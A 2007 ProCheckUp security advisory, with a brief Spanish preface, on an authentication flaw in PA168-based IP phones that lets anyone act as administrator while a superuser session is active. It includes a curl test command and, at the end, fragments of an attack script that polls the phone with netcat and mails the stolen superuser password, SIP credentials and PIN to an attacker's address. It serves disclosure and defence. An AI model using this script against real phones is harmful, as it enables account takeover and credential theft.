Se ha encontrado una vulnerabilidad en la que un atacante, escribiendo lo que aparece más abajo, puede lograr acceder al sistema como administrador sin conocer ninguna contraseña.
El anuncio oficial:
Date Public: 22nd January 2007
Phones confirmed to be vulnerable:
– ATCOM AT-320ED IP Phone running SIP firmware version V1.42 and 1.54
– SOYO G668 Ethernet IP Phone running SIP firmware version v1.42
The following vendors/models also use the same PA168 chipset/firmware and are therefore most likely to be vulnerable to the same issue:
– AT-323 from ATcom
– JR168_100B from IPLink
– JR168_100W from IPLink
– JR168_200 from IPLink
– Netweb-401/402 from NetWebGroup
– OB-WAN VoIP: Ethernet#1 and Ethernet#2 phones are PA168-based
– Vida some phones PA168 based
– Wuchuan HOP-1001/1002/1003
– Giptel IP phones G100, also Siptronic ST-100 and Siptronic ST-150 (PA168S chipset)
– GNET some phones PA168x based
– KE1020 Netphone (Meritline)
– ML210 Meritline
– Integrated Networks IN-1002. Found on eBay.
– ArtDio IPF-2000 and IPF-2002L phones
– Perfectone IP300
Author: Adrian Pastor [adrian.pastor-AT-procheckup.com] from ProCheckUp
CVE Candidate: Not assigned
There is a problem with the way IP Phones using the PA168 chipset handle authenticated sessions, allowing remote attackers to gain access to the admin web console running as superuser.
When the superuser account authenticates to the admin web console, a request such as the following is sent to the IP phone’s web server:
POST /a HTTP/1.1
At this point, the superuser session is considered *active* by the web server. All it takes for attackers to perform an administrative task at this point, is for them to send a well-formed request to the web server. Since no authentication tokens or password are submitted within the HTTP requests, anyone can perform administrative tasks while the session is active. Even if the attacker sends the administrative requests from an IP address different to the one used by the superuser account, the IP Phone’s web server would accept them as long as the superuser’s session is still active.
A script called «active-session-attack.sh» has been created, which remotely checks repeatedly until a superuser account has logged on by sending a forged superuser request every five seconds. As soon as the superuser session becomes active, the following information will be obtained from the settings page, and emailed to the attacker:
– IP phone’s superuser password – grants administrative access
– IP phone’s user password – grants restricted access
– SIP gateway hostname/IP address
– SIP account username
– SIP account PIN number
POST /g HTTP/1.1
RESPONSE (output has been partially omitted for clarification):
HTTP/1.1 200 OK
In order to test this vulnerability, the following steps have been provided:
1. Log into http://192.168.1.100 from computer A using the superuser password (‘12345678’ by default)
2. Send the following curl command from computer B:
curl -d «back=++Back++» http://192.168.1.100/g
3. The administrative settings page should be returned without any password required.
Note: the IP phone’s web server is enabled by default
Use access control lists on routers or firewalls in order to only allow trusted IP addresses to access ATCOM AT-320ED IP Phone’s web server. Exposing the PA168-based IP Phone’s admin web server on the Internet is not recommended.
Copyright 2006 ProCheckUp Ltd. All rights reserved.
Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if the Bulletin is not changed or edited in any way, is attributed to ProCheckUp indicating this web page URL, and provided such reproduction and/or distribution is performed for non-commercial purposes.
Any other use of this information is prohibited. ProCheckUp is not liable for any misuse of this information by any third party.
ProCheckUp is not responsible for the content of external Internet sites.
req=»POST /g HTTP/1.0\r\nContent-length: 13\r\n\r\nback=++Back++\r\n\r\n»;
res=`echo -en $req | nc -nv $host 80`;
if echo $res | grep superpassword # if this gets returned, then we got the settings page with all SIP account and IP phone creds
echo «GOT IT!»
echo $res > «admin-settings-page»
echo $res | mail $attackers_email -s «PA168 IP Phone admin’s settings page»
echo «bad luck»